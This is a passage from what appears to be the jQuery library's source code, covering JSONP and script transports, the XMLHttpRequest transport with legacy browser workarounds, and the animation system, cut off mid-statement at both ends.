value\n\t\t\twindow[ jsonpCallback ] = previous;\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && jQuery.isFunction( previous ) ) {\n\t\t\t\twindow[ jsonpCallback ]( responseContainer[ 0 ] );\n\t\t\t}\n\t\t});\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[\"script json\"] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( jsonpCallback + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n});\n\n\n\n\n// Install script dataType\njQuery.ajaxSetup({\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /javascript|ecmascript/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n});\n\n// Handle cache's special case and global\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t\ts.global = false;\n\t}\n});\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function(s) {\n\n\t// This transport only deals with cross domain requests\n\tif ( s.crossDomain ) {\n\n\t\tvar script,\n\t\t\thead = document.head || document.getElementsByTagName( \"head\" )[0] || document.documentElement;\n\n\t\treturn {\n\n\t\t\tsend: function( _, callback ) {\n\n\t\t\t\tscript = document.createElement( \"script\" );\n\n\t\t\t\tscript.async = \"async\";\n\n\t\t\t\tif ( s.scriptCharset ) {\n\t\t\t\t\tscript.charset = s.scriptCharset;\n\t\t\t\t}\n\n\t\t\t\tscript.src = s.url;\n\n\t\t\t\t// Attach handlers for all browsers\n\t\t\t\tscript.onload = script.onreadystatechange = function( _, isAbort ) {\n\n\t\t\t\t\tif ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {\n\n\t\t\t\t\t\t// Handle memory leak in IE\n\t\t\t\t\t\tscript.onload = script.onreadystatechange = null;\n\n\t\t\t\t\t\t// Remove the script\n\t\t\t\t\t\tif ( head && script.parentNode ) {\n\t\t\t\t\t\t\thead.removeChild( script );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Dereference the script\n\t\t\t\t\t\tscript = undefined;\n\n\t\t\t\t\t\t// Callback if not abort\n\t\t\t\t\t\tif ( !isAbort ) {\n\t\t\t\t\t\t\tcallback( 200, \"success\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t// Use insertBefore instead of appendChild  to circumvent an IE6 bug.\n\t\t\t\t// This arises when a base node is used (#2709 and #4378).\n\t\t\t\thead.insertBefore( script, head.firstChild );\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( script ) {\n\t\t\t\t\tscript.onload( 0, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n});\n\n\n\n\nvar // #5280: Internet Explorer will keep connections alive if we don't abort on unload\n\txhrOnUnloadAbort = window.ActiveXObject ? function() {\n\t\t// Abort all pending requests\n\t\tfor ( var key in xhrCallbacks ) {\n\t\t\txhrCallbacks[ key ]( 0, 1 );\n\t\t}\n\t} : false,\n\txhrId = 0,\n\txhrCallbacks;\n\n// Functions to create xhrs\nfunction createStandardXHR() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch( e ) {}\n}\n\nfunction createActiveXHR() {\n\ttry {\n\t\treturn new window.ActiveXObject( \"Microsoft.XMLHTTP\" );\n\t} catch( e ) {}\n}\n\n// Create the request object\n// (This is still attached to ajaxSettings for backward compatibility)\njQuery.ajaxSettings.xhr = window.ActiveXObject ?\n\t/* Microsoft failed to properly\n\t * implement the XMLHttpRequest in IE7 (can't request local files),\n\t * so we use the ActiveXObject when it is available\n\t * Additionally XMLHttpRequest can be disabled in IE7/IE8 so\n\t * we need a fallback.\n\t */\n\tfunction() {\n\t\treturn !this.isLocal && createStandardXHR() || createActiveXHR();\n\t} :\n\t// For all other browsers, use the standard XMLHttpRequest object\n\tcreateStandardXHR;\n\n// Determine support properties\n(function( xhr ) {\n\tjQuery.extend( jQuery.support, {\n\t\tajax: !!xhr,\n\t\tcors: !!xhr && ( \"withCredentials\" in xhr )\n\t});\n})( jQuery.ajaxSettings.xhr() );\n\n// Create transport if the browser can provide an xhr\nif ( jQuery.support.ajax ) {\n\n\tjQuery.ajaxTransport(function( s ) {\n\t\t// Cross domain only allowed if supported through XMLHttpRequest\n\t\tif ( !s.crossDomain || jQuery.support.cors ) {\n\n\t\t\tvar callback;\n\n\t\t\treturn {\n\t\t\t\tsend: function( headers, complete ) {\n\n\t\t\t\t\t// Get a new xhr\n\t\t\t\t\tvar xhr = s.xhr(),\n\t\t\t\t\t\thandle,\n\t\t\t\t\t\ti;\n\n\t\t\t\t\t// Open the socket\n\t\t\t\t\t// Passing null username, generates a login popup on Opera (#2865)\n\t\t\t\t\tif ( s.username ) {\n\t\t\t\t\t\txhr.open( s.type, s.url, s.async, s.username, s.password );\n\t\t\t\t\t} else {\n\t\t\t\t\t\txhr.open( s.type, s.url, s.async );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Apply custom fields if provided\n\t\t\t\t\tif ( s.xhrFields ) {\n\t\t\t\t\t\tfor ( i in s.xhrFields ) {\n\t\t\t\t\t\t\txhr[ i ] = s.xhrFields[ i ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Override mime type if needed\n\t\t\t\t\tif ( s.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\t\txhr.overrideMimeType( s.mimeType );\n\t\t\t\t\t}\n\n\t\t\t\t\t// X-Requested-With header\n\t\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\t\tif ( !s.crossDomain && !headers[\"X-Requested-With\"] ) {\n\t\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Need an extra try/catch for cross domain requests in Firefox 3\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch( _ ) {}\n\n\t\t\t\t\t// Do send the request\n\t\t\t\t\t// This may raise an exception which is actually\n\t\t\t\t\t// handled in jQuery.ajax (so no try/catch here)\n\t\t\t\t\txhr.send( ( s.hasContent && s.data ) || null );\n\n\t\t\t\t\t// Listener\n\t\t\t\t\tcallback = function( _, isAbort ) {\n\n\t\t\t\t\t\tvar status,\n\t\t\t\t\t\t\tstatusText,\n\t\t\t\t\t\t\tresponseHeaders,\n\t\t\t\t\t\t\tresponses,\n\t\t\t\t\t\t\txml;\n\n\t\t\t\t\t\t// Firefox throws exceptions when accessing properties\n\t\t\t\t\t\t// of an xhr when a network error occured\n\t\t\t\t\t\t// http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)\n\t\t\t\t\t\ttry {\n\n\t\t\t\t\t\t\t// Was never called and is aborted or complete\n\t\t\t\t\t\t\tif ( callback && ( isAbort || xhr.readyState === 4 ) ) {\n\n\t\t\t\t\t\t\t\t// Only called once\n\t\t\t\t\t\t\t\tcallback = undefined;\n\n\t\t\t\t\t\t\t\t// Do not keep as active anymore\n\t\t\t\t\t\t\t\tif ( handle ) {\n\t\t\t\t\t\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\t\t\t\t\t\t\t\t\tif ( xhrOnUnloadAbort ) {\n\t\t\t\t\t\t\t\t\t\tdelete xhrCallbacks[ handle ];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// If it's an abort\n\t\t\t\t\t\t\t\tif ( isAbort ) {\n\t\t\t\t\t\t\t\t\t// Abort it manually if needed\n\t\t\t\t\t\t\t\t\tif ( xhr.readyState !== 4 ) {\n\t\t\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tstatus = xhr.status;\n\t\t\t\t\t\t\t\t\tresponseHeaders = xhr.getAllResponseHeaders();\n\t\t\t\t\t\t\t\t\tresponses = {};\n\t\t\t\t\t\t\t\t\txml = xhr.responseXML;\n\n\t\t\t\t\t\t\t\t\t// Construct response list\n\t\t\t\t\t\t\t\t\tif ( xml && xml.documentElement /* #4958 */ ) {\n\t\t\t\t\t\t\t\t\t\tresponses.xml = xml;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// When requesting binary data, IE6-9 will throw an exception\n\t\t\t\t\t\t\t\t\t// on any attempt to access responseText (#11426)\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tresponses.text = xhr.responseText;\n\t\t\t\t\t\t\t\t\t} catch( _ ) {\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Firefox throws an exception when accessing\n\t\t\t\t\t\t\t\t\t// statusText for faulty cross-domain requests\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tstatusText = xhr.statusText;\n\t\t\t\t\t\t\t\t\t} catch( e ) {\n\t\t\t\t\t\t\t\t\t\t// We normalize with Webkit giving an empty statusText\n\t\t\t\t\t\t\t\t\t\tstatusText = \"\";\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Filter status for non standard behaviors\n\n\t\t\t\t\t\t\t\t\t// If the request is local and we have data: assume a success\n\t\t\t\t\t\t\t\t\t// (success with no data won't get notified, that's the best we\n\t\t\t\t\t\t\t\t\t// can do given current implementations)\n\t\t\t\t\t\t\t\t\tif ( !status && s.isLocal && !s.crossDomain ) {\n\t\t\t\t\t\t\t\t\t\tstatus = responses.text ? 200 : 404;\n\t\t\t\t\t\t\t\t\t// IE - #1450: sometimes returns 1223 when it should be 204\n\t\t\t\t\t\t\t\t\t} else if ( status === 1223 ) {\n\t\t\t\t\t\t\t\t\t\tstatus = 204;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch( firefoxAccessException ) {\n\t\t\t\t\t\t\tif ( !isAbort ) {\n\t\t\t\t\t\t\t\tcomplete( -1, firefoxAccessException );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Call complete if needed\n\t\t\t\t\t\tif ( responses ) {\n\t\t\t\t\t\t\tcomplete( status, statusText, responses, responseHeaders );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\n\t\t\t\t\t// if we're in sync mode or it's in cache\n\t\t\t\t\t// and has been retrieved directly (IE6 & IE7)\n\t\t\t\t\t// we need to manually fire the callback\n\t\t\t\t\tif ( !s.async || xhr.readyState === 4 ) {\n\t\t\t\t\t\tcallback();\n\t\t\t\t\t} else {\n\t\t\t\t\t\thandle = ++xhrId;\n\t\t\t\t\t\tif ( xhrOnUnloadAbort ) {\n\t\t\t\t\t\t\t// Create the active xhrs callbacks list if needed\n\t\t\t\t\t\t\t// and attach the unload handler\n\t\t\t\t\t\t\tif ( !xhrCallbacks ) {\n\t\t\t\t\t\t\t\txhrCallbacks = {};\n\t\t\t\t\t\t\t\tjQuery( window ).unload( xhrOnUnloadAbort );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// Add to list of active xhrs callbacks\n\t\t\t\t\t\t\txhrCallbacks[ handle ] = callback;\n\t\t\t\t\t\t}\n\t\t\t\t\t\txhr.onreadystatechange = callback;\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\t\tabort: function() {\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tcallback(0,1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t});\n}\n\n\n\n\nvar elemdisplay = {},\n\tiframe, iframeDoc,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trfxnum = /^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,\n\ttimerId,\n\tfxAttrs = [\n\t\t// height animations\n\t\t[ \"height\", \"marginTop\", \"marginBottom\", \"paddingTop\", \"paddingBottom\" ],\n\t\t// width animations\n\t\t[ \"width\", \"marginLeft\", \"marginRight\", \"paddingLeft\", \"paddingRight\" ],\n\t\t// opacity animations\n\t\t[ \"opacity\" ]\n\t],\n\tfxNow;\n\njQuery.fn.extend({\n\tshow: function( speed, easing, callback ) {\n\t\tvar elem, display;\n\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"show\", 3), speed, easing, callback );\n\n\t\t} else {\n\t\t\tfor ( var i = 0, j = this.length; i < j; i++ ) {\n\t\t\t\telem = this[ i ];\n\n\t\t\t\tif ( elem.style ) {\n\t\t\t\t\tdisplay = elem.style.display;\n\n\t\t\t\t\t// Reset the inline display of this element to learn if it is\n\t\t\t\t\t// being hidden by cascaded rules or not\n\t\t\t\t\tif ( !jQuery._data(elem, \"olddisplay\") && display === \"none\" ) {\n\t\t\t\t\t\tdisplay = elem.style.display = \"\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Set elements which have been overridden with display: none\n\t\t\t\t\t// in a stylesheet to whatever the default browser style is\n\t\t\t\t\t// for such an element\n\t\t\t\t\tif ( (display === \"\" && jQuery.css(elem, \"display\") === \"none\") ||\n\t\t\t\t\t\t!jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {\n\t\t\t\t\t\tjQuery._data( elem, \"olddisplay\", defaultDisplay(elem.nodeName) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of most of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( i = 0; i < j; i++ ) {\n\t\t\t\telem = this[ i ];\n\n\t\t\t\tif ( elem.style ) {\n\t\t\t\t\tdisplay = elem.style.display;\n\n\t\t\t\t\tif ( display === \"\" || display === \"none\" ) {\n\t\t\t\t\t\telem.style.display = jQuery._data( elem, \"olddisplay\" ) || \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\thide: function( speed, easing, callback ) {\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"hide\", 3), speed, easing, callback);\n\n\t\t} else {\n\t\t\tvar elem, display,\n\t\t\t\ti = 0,\n\t\t\t\tj = this.length;\n\n\t\t\tfor ( ; i < j; i++ ) {\n\t\t\t\telem = this[i];\n\t\t\t\tif ( elem.style ) {\n\t\t\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\n\t\t\t\t\tif ( display !== \"none\" && !jQuery._data( elem, \"olddisplay\" ) ) {\n\t\t\t\t\t\tjQuery._data( elem, \"olddisplay\", display );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( i = 0; i < j; i++ ) {\n\t\t\t\tif ( this[i].style ) {\n\t\t\t\t\tthis[i].style.display = \"none\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\t// Save the old toggle function\n\t_toggle: jQuery.fn.toggle,\n\n\ttoggle: function( fn, fn2, callback ) {\n\t\tvar bool = typeof fn === \"boolean\";\n\n\t\tif ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {\n\t\t\tthis._toggle.apply( this, arguments );\n\n\t\t} else if ( fn == null || bool ) {\n\t\t\tthis.each(function() {\n\t\t\t\tvar state = bool ? fn : jQuery(this).is(\":hidden\");\n\t\t\t\tjQuery(this)[ state ? \"show\" : \"hide\" ]();\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.animate(genFx(\"toggle\", 3), fn, fn2, callback);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tfadeTo: function( speed, to, easing, callback ) {\n\t\treturn this.filter(\":hidden\").css(\"opacity\", 0).show().end()\n\t\t\t\t\t.animate({opacity: to}, speed, easing, callback);\n\t},\n\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar optall = jQuery.speed( speed, easing, callback );\n\n\t\tif ( jQuery.isEmptyObject( prop ) ) {\n\t\t\treturn this.each( optall.complete, [ false ] );\n\t\t}\n\n\t\t// Do not change referenced properties as per-property easing will be lost\n\t\tprop = jQuery.extend( {}, prop );\n\n\t\tfunction doAnimation() {\n\t\t\t// XXX 'this' does not always have a nodeName when running the\n\t\t\t// test suite\n\n\t\t\tif ( optall.queue === false ) {\n\t\t\t\tjQuery._mark( this );\n\t\t\t}\n\n\t\t\tvar opt = jQuery.extend( {}, optall ),\n\t\t\t\tisElement = this.nodeType === 1,\n\t\t\t\thidden = isElement && jQuery(this).is(\":hidden\"),\n\t\t\t\tname, val, p, e, hooks, replace,\n\t\t\t\tparts, start, end, unit,\n\t\t\t\tmethod;\n\n\t\t\t// will store per property easing and be used to determine when an animation is complete\n\t\t\topt.animatedProperties = {};\n\n\t\t\t// first pass over propertys to expand / normalize\n\t\t\tfor ( p in prop ) {\n\t\t\t\tname = jQuery.camelCase( p );\n\t\t\t\tif ( p !== name ) {\n\t\t\t\t\tprop[ name ] = prop[ p ];\n\t\t\t\t\tdelete prop[ p ];\n\t\t\t\t}\n\n\t\t\t\tif ( ( hooks = jQuery.cssHooks[ name ] ) && \"expand\" in hooks ) {\n\t\t\t\t\treplace = hooks.expand( prop[ name ] );\n\t\t\t\t\tdelete prop[ name ];\n\n\t\t\t\t\t// not quite $.extend, this wont overwrite keys already present.\n\t\t\t\t\t// also - reusing 'p' from above because we have the correct \"name\"\n\t\t\t\t\tfor ( p in replace ) {\n\t\t\t\t\t\tif ( ! ( p in prop ) ) {\n\t\t\t\t\t\t\tprop[ p ] = replace[ p ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( name in prop ) {\n\t\t\t\tval = prop[ name ];\n\t\t\t\t// easing resolution: per property > opt.specialEasing > opt.easing > 'swing' (default)\n\t\t\t\tif ( jQuery.isArray( val ) ) {\n\t\t\t\t\topt.animatedProperties[ name ] = val[ 1 ];\n\t\t\t\t\tval = prop[ name ] = val[ 0 ];\n\t\t\t\t} else {\n\t\t\t\t\topt.animatedProperties[ name ] = opt.specialEasing && opt.specialEasing[ name ] || opt.easing || 'swing';\n\t\t\t\t}\n\n\t\t\t\tif ( val === \"hide\" && hidden || val === \"show\" && !hidden ) {\n\t\t\t\t\treturn opt.complete.call( this );\n\t\t\t\t}\n\n\t\t\t\tif ( isElement && ( name === \"height\" || name === \"width\" ) ) {\n\t\t\t\t\t// Make sure that nothing sneaks out\n\t\t\t\t\t// Record all 3 overflow attributes because IE does not\n\t\t\t\t\t// change the overflow attribute when overflowX and\n\t\t\t\t\t// overflowY are set to the same value\n\t\t\t\t\topt.overflow = [ this.style.overflow, this.style.overflowX, this.style.overflowY ];\n\n\t\t\t\t\t// Set display property to inline-block for height/width\n\t\t\t\t\t// animations on inline elements that are having width/height animated\n\t\t\t\t\tif ( jQuery.css( this, \"display\" ) === \"inline\" &&\n\t\t\t\t\t\t\tjQuery.css( this, \"float\" ) === \"none\" ) {\n\n\t\t\t\t\t\t// inline-level elements accept inline-block;\n\t\t\t\t\t\t// block-level elements need to be inline with layout\n\t\t\t\t\t\tif ( !jQuery.support.inlineBlockNeedsLayout || defaultDisplay( this.nodeName ) === \"inline\" ) {\n\t\t\t\t\t\t\tthis.style.display = \"inline-block\";\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthis.style.zoom = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( opt.overflow != null ) {\n\t\t\t\tthis.style.overflow = \"hidden\";\n\t\t\t}\n\n\t\t\tfor ( p in prop ) {\n\t\t\t\te = new jQuery.fx( this, opt, p );\n\t\t\t\tval = prop[ p ];\n\n\t\t\t\tif ( rfxtypes.test( val ) ) {\n\n\t\t\t\t\t// Tracks whether to show or hide based on private\n\t\t\t\t\t// data attached to the element\n\t\t\t\t\tmethod = jQuery._data( this, \"toggle\" + p ) || ( val === \"toggle\" ? hidden ? \"show\" : \"hide\" : 0 );\n\t\t\t\t\tif ( method ) {\n\t\t\t\t\t\tjQuery._data( this, \"toggle\" + p, method === \"show\" ? \"hide\" : \"show\" );\n\t\t\t\t\t\te[ method ]();\n\t\t\t\t\t} else {\n\t\t\t\t\t\te[ val ]();\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tparts = rfxnum.exec( val );\n\t\t\t\t\tstart = e.cur();\n\n\t\t\t\t\tif ( parts ) {\n\t\t\t\t\t\tend = parseFloat( parts[2] );\n\t\t\t\t\t\tunit = parts[3] || ( jQuery.cssNumber[ p ] ? \"\" : \"px\" );\n\n\t\t\t\t\t\t// We need to compute starting value\n\t\t\t\t\t\tif ( unit !== \"px\" ) {\n\t\t\t\t\t\t\tjQuery.style( this, p, (end || 1) + unit);\n\t\t\t\t\t\t\tstart = ( (end || 1) / e.cur() ) * start;\n\t\t\t\t\t\t\tjQuery.style( this, p, start + unit);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// If a +=/-= token was provided, we're doing a relative animation\n\t\t\t\t\t\tif ( parts[1] ) {\n\t\t\t\t\t\t\tend = ( (parts[ 1 ] === \"-=\" ? -1 : 1) * end ) + start;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\te.custom( start, end, unit );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\te.custom( start, val, \"\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// For JS strict compliance\n\t\t\treturn true;\n\t\t}\n\n\t\treturn optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue && type !== false ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar index,\n\t\t\t\thadTimers = false,\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = jQuery._data( this );\n\n\t\t\t// clear marker counters if we know they won't be\n\t\t\tif ( !gotoEnd ) {\n\t\t\t\tjQuery._unmark( true, this );\n\t\t\t}\n\n\t\t\tfunction stopQueue( elem, data, index ) {\n\t\t\t\tvar hooks = data[ index ];\n\t\t\t\tjQuery.removeData( elem, index, true );\n\t\t\t\thooks.stop( gotoEnd );\n\t\t\t}\n\n\t\t\tif ( type == null ) {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && index.indexOf(\".run\") === index.length - 4 ) {\n\t\t\t\t\t\tstopQueue( this, data, index );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if ( data[ index = type + \".run\" ] && data[ index ].stop ){\n\t\t\t\tstopQueue( this, data, index );\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {\n\t\t\t\t\tif ( gotoEnd ) {\n\n\t\t\t\t\t\t// force the next step to be the last\n\t\t\t\t\t\ttimers[ index ]( true );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttimers[ index ].saveState();\n\t\t\t\t\t}\n\t\t\t\t\thadTimers = true;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// start the next in the queue if the last step wasn't forced\n\t\t\t// timers currently will call their complete callbacks, which will dequeue\n\t\t\t// but only if they were gotoEnd\n\t\t\tif ( !( gotoEnd && hadTimers ) ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t});\n\t}\n\n});\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\tsetTimeout( clearFxNow, 0 );\n\treturn ( fxNow = jQuery.now() );\n}\n\nfunction clearFxNow() {\n\tfxNow = undefined;\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, num ) {\n\tvar obj = {};\n\n\tjQuery.each( fxAttrs.concat.apply([], fxAttrs.slice( 0, num )), function() {\n\t\tobj[ this ] = type;\n\t});\n\n\treturn obj;\n}\n\n// Generate shortcuts for custom animations\njQuery.each({\n\tslideDown: genFx( \"show\", 1 ),\n\tslideUp: genFx( \"hide\", 1 ),\n\tslideToggle: genFx( \"toggle\", 1 ),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n});\n\njQuery.extend({\n\tspeed: function( speed, easing, fn ) {\n\t\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\t\tcomplete: fn || !fn && easing ||\n\t\t\t\tjQuery.isFunction( speed ) && speed,\n\t\t\tduration: speed,\n\t\t\teasing: fn && easing || easing && !jQuery.isFunction( easing ) && easing\n\t\t};\n\n\t\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ? opt.duration :\n\t\t\topt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;\n\n\t\t// normalize opt.queue - true/undefined/null -> \"fx\"\n\t\tif ( opt.queue == null || opt.queue === true ) {\n\t\t\topt.queue = \"fx\";\n\t\t}\n\n\t\t// Queueing\n\t\topt.old = opt.complete;\n\n\t\topt.complete = function( noUnmark ) {\n\t\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\t\topt.old.call( this );\n\t\t\t}\n\n\t\t\tif ( opt.queue ) {\n\t\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t\t} else if ( noUnmark !== false ) {\n\t\t\t\tjQuery._unmark( this );\n\t\t\t}\n\t\t};\n\n\t\treturn opt;\n\t},\n\n\teasing: {\n\t\tlinear: function( p ) {\n\t\t\treturn p;\n\t\t},\n\t\tswing: function( p ) {\n\t\t\treturn ( -Math.cos( p*Math.PI ) / 2 ) + 0.5;\n\t\t}\n\t},\n\n\ttimers: [],\n\n\tfx: function( elem, options, prop ) {\n\t\tthis.options = options;\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\n\t\toptions.orig = options.orig || {};\n\t}\n\n});\n\njQuery.fx.prototype = {\n\t// Simple function for setting a style value\n\tupdate: function() {\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\t( jQuery.fx.step[ this.prop ] || jQuery.fx.step._default )( this );\n\t},\n\n\t// Get the current size\n\tcur: function() {\n\t\tif ( this.elem[ this.prop ] != null && (!this.elem.style || this.elem.style[ this.prop ] == null) ) {\n\t\t\treturn this.elem[ this.prop ];\n\t\t}\n\n\t\tvar parsed,\n\t\t\tr = jQuery.css( this.elem, this.prop );\n\t\t// Empty strings, null, undefined and \"auto\" are converted to 0,\n\t\t// complex values such as \"rotate(1rad)\" are returned as is,\n\t\t// simple values such as \"10px\" are parsed to Float.\n\t\treturn isNaN( parsed = parseFloat( r ) ) ? !r || r === \"auto\" ? 0 : r : parsed;\n\t},\n\n\t// Start an animation from one number to another\n\tcustom: function( from, to, unit ) {\n\t\tvar self = this,\n\t\t\tfx = jQuery.fx;\n\n\t\tthis.startTime = fxNow || createFxNow();\n\t\tthis.end = to;\n\t\tthis.now = this.start = from;\n\t\tthis.pos = this.state = 0;\n\t\tthis.unit = unit || this.unit || ( jQuery.cssNumber[ this.prop ] ? \"\" : \"px\" );\n\n\t\tfunction t( gotoEnd ) {\n\t\t\treturn self.step( gotoEnd );\n\t\t}\n\n\t\tt.queue = this.options.queue;\n\t\tt.elem = this.elem;\n\t\tt.saveState = function() {\n\t\t\tif ( jQuery._data( self.elem, \"fxshow\" + self.prop ) === undefined ) {\n\t\t\t\tif ( self.options.hide ) {\n\t\t\t\t\tjQuery._data( self.elem, \"fxshow\" + self.prop, self.start );\n\t\t\t\t} else if ( self.options.show ) {\n\t\t\t\t\tjQuery._data( self.elem, \"fxshow\" + self.prop, self.end );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\tif ( t() && jQuery.timers.push(t) && !timerId ) {\n\t\t\ttimerId = setInterval( fx.tick, fx.interval );\n\t\t}\n\t},\n\n\t// Simple 'show' function\n\tshow: function() {\n\t\tvar dataShow = jQuery._data( this.elem, \"fxshow\" + this.prop );\n\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[ this.prop ] = dataShow || jQuery.style( this.elem, this.prop );\n\t\tthis.options.show = true;\n\n\t\t// Begin the animation\n\t\t// Make sure that we start at a small width/height to avoid any flash of content\n\t\tif ( dataShow !== undefined ) {\n\t\t\t// This show is picking up where a previous hide or show left off\n\t\t\tthis.custom( this.cur(), dataShow 